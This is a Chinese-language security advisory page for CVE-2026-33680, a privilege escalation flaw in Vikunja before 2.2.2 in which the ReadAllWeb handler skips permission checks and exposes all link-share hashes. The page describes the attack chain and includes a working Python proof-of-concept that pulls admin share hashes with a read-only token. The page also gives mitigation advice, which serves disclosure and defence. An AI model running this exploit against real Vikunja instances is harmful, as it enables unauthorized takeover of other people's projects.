IPBUF安全漏洞报告
English
CVE-2026-33680 CVSS 7.5 高危

CVE-2026-33680 Vikunja权限提升漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33680
漏洞类型
权限提升
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Vikunja

相关标签

权限提升Vikunja认证绕过信息泄露

漏洞概述

Vikunja在2.2.2版本之前存在权限提升漏洞。由于`ReadAllWeb`处理器绕过了`CanRead()`检查,拥有只读链接分享权限的攻击者可以列出项目中所有的链接分享详情,包括高权限的秘密哈希。攻击者利用这些哈希可伪装成管理员,从而获得项目的完全控制权。

技术细节

该漏洞源于Vikunja后端API在处理链接分享列表时的访问控制逻辑缺陷。虽然`LinkSharing.CanRead()`方法正确阻止了低权限用户通过`ReadOne`接口读取单个分享链接,但`ReadAllWeb`接口在调用`ReadAll()`方法时,未执行相应的权限检查。这使得攻击者即使只持有项目的“只读”分享链接,也能通过调用受影响的API端点,获取到项目中所有其他分享链接的元数据。由于响应中包含了用于认证的`hash`字段,攻击者可以提取出具有“写入”或“管理员”权限的哈希值,并利用该哈希值构造认证请求,直接以管理员身份执行恶意操作,实现权限提升。

攻击链分析

STEP 1
1. 获取访问权限
攻击者获取Vikunja项目中一个合法的“只读”链接分享哈希。
STEP 2
2. 利用漏洞
攻击者使用只读哈希向`ReadAllWeb`接口发送请求,触发漏洞,系统返回所有分享链接的详细信息。
STEP 3
3. 提取凭据
攻击者解析返回的JSON数据,从中提取出具有“管理员”或“写入”权限的链接哈希值。
STEP 4
4. 权限提升
攻击者使用提取出的高权限哈希构造新的请求,以管理员身份接管项目,执行创建、修改或删除等敏感操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL of the Vikunja instance target_url = "https://example.com/api/v1/projects/1/shares" # The read-only share hash obtained by the attacker read_only_token = "READ_ONLY_HASH_HERE" # Headers using the read-only token headers = { "Authorization": f"Bearer {read_only_token}" } # Send request to list all shares (Exploiting ReadAllWeb bypass) response = requests.get(target_url, headers=headers) if response.status_code == 200: shares = response.json() print("Successfully retrieved shares:") # Iterate through shares to find admin tokens for share in shares: # The vulnerability exposes the 'hash' for all shares share_id = share.get('id') share_role = share.get('role') share_hash = share.get('hash') print(f"Share ID: {share_id}, Role: {share_role}, Hash: {share_hash}") if share_role == 'ADMIN': print(f"[!] Found Admin Hash: {share_hash}") # Attacker can now use this hash to perform admin actions # Example: admin_headers = {"Authorization": f"Bearer {share_hash}"} else: print(f"Failed to exploit: {response.status_code}")

影响范围

Vikunja < 2.2.2

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用项目的公开链接分享功能,并通过网络边界设备(如防火墙或WAF)限制对相关API接口的访问,仅允许受信任的内部IP调用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表